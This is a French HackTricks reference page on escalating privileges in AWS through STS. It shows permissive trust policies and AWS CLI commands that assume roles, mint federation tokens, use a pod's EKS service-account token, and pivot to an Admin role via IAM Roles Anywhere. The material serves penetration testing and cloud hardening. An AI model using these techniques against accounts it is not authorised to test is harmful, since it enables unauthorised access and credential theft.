AWS - STS Privesc

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

STS

sts:AssumeRole

Chaque rôle est créé avec une politique de confiance de rôle, cette politique indique qui peut assumer le rôle créé. Si un rôle du même compte indique qu'un compte peut l'assumer, cela signifie que le compte pourra accéder au rôle (et potentiellement privesc).

Par exemple, la politique de confiance de rôle suivante indique que tout le monde peut l'assumer, donc tout utilisateur pourra privesc aux permissions associées à ce rôle.

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

Vous pouvez usurper un rôle exécutant :

bash
aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname

Impact potentiel : Privesc au rôle.

caution

Notez que dans ce cas, la permission sts:AssumeRole doit être indiquée dans le rôle à abuser et non dans une politique appartenant à l'attaquant.
Avec une exception, afin de prendre un rôle d'un compte différent, le compte attaquant doit également avoir le sts:AssumeRole sur le rôle.

sts:GetFederationToken

Avec cette permission, il est possible de générer des identifiants pour usurper n'importe quel utilisateur :

bash
aws sts get-federation-token --name <username>

C'est ainsi que cette autorisation peut être accordée en toute sécurité sans donner accès à l'imitation d'autres utilisateurs :

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "sts:GetFederationToken",
"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}"
}
]
}

sts:AssumeRoleWithSAML

Une politique de confiance avec ce rôle accorde aux utilisateurs authentifiés via SAML l'accès pour usurper le rôle.

Un exemple d'une politique de confiance avec cette permission est :

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OneLogin",
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
},
"Action": "sts:AssumeRoleWithSAML",
"Condition": {
"StringEquals": {
"SAML:aud": "https://signin.aws.amazon.com/saml"
}
}
}
]
}

Pour générer des identifiants afin d'usurper le rôle, vous pourriez utiliser quelque chose comme :

bash
aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>

Mais les fournisseurs peuvent avoir leurs propres outils pour faciliter cela, comme onelogin-aws-assume-role :

bash
onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600

Impact potentiel : Privesc au rôle.

sts:AssumeRoleWithWebIdentity

Cette permission accorde le droit d'obtenir un ensemble de credentials de sécurité temporaires pour les utilisateurs qui ont été authentifiés dans une application mobile, web, EKS... avec un fournisseur d'identité web. En savoir plus ici.

Par exemple, si un compte de service EKS doit être capable de se faire passer pour un rôle IAM, il aura un token dans /var/run/secrets/eks.amazonaws.com/serviceaccount/token et peut assumer le rôle et obtenir des credentials en faisant quelque chose comme :

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
# The role name can be found in the metadata of the configuration of the pod

Abus de Fédération

AWS - Federation Abuse

Privesc IAM Roles Anywhere

AWS IAM RolesAnywhere permet aux charges de travail en dehors d'AWS d'assumer des rôles IAM en utilisant des certificats X.509. Mais lorsque les politiques de confiance ne sont pas correctement définies, elles peuvent être abusées pour une élévation de privilèges.

Cette politique manque de restrictions sur les ancres de confiance ou les attributs de certificat autorisés. En conséquence, tout certificat lié à n'importe quelle ancre de confiance dans le compte peut être utilisé pour assumer ce rôle.

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "rolesanywhere.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:SetSourceIdentity",
"sts:TagSession"
]
}
]
}

Pour privesc, le aws_signing_helper est requis depuis https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html

Ensuite, en utilisant un certificat valide, l'attaquant peut pivoter vers le rôle à privilèges supérieurs.

bash
aws_signing_helper credential-process \
--certificate readonly.pem \
--private-key readonly.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
--role-arn arn:aws:iam::123456789012:role/Admin

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks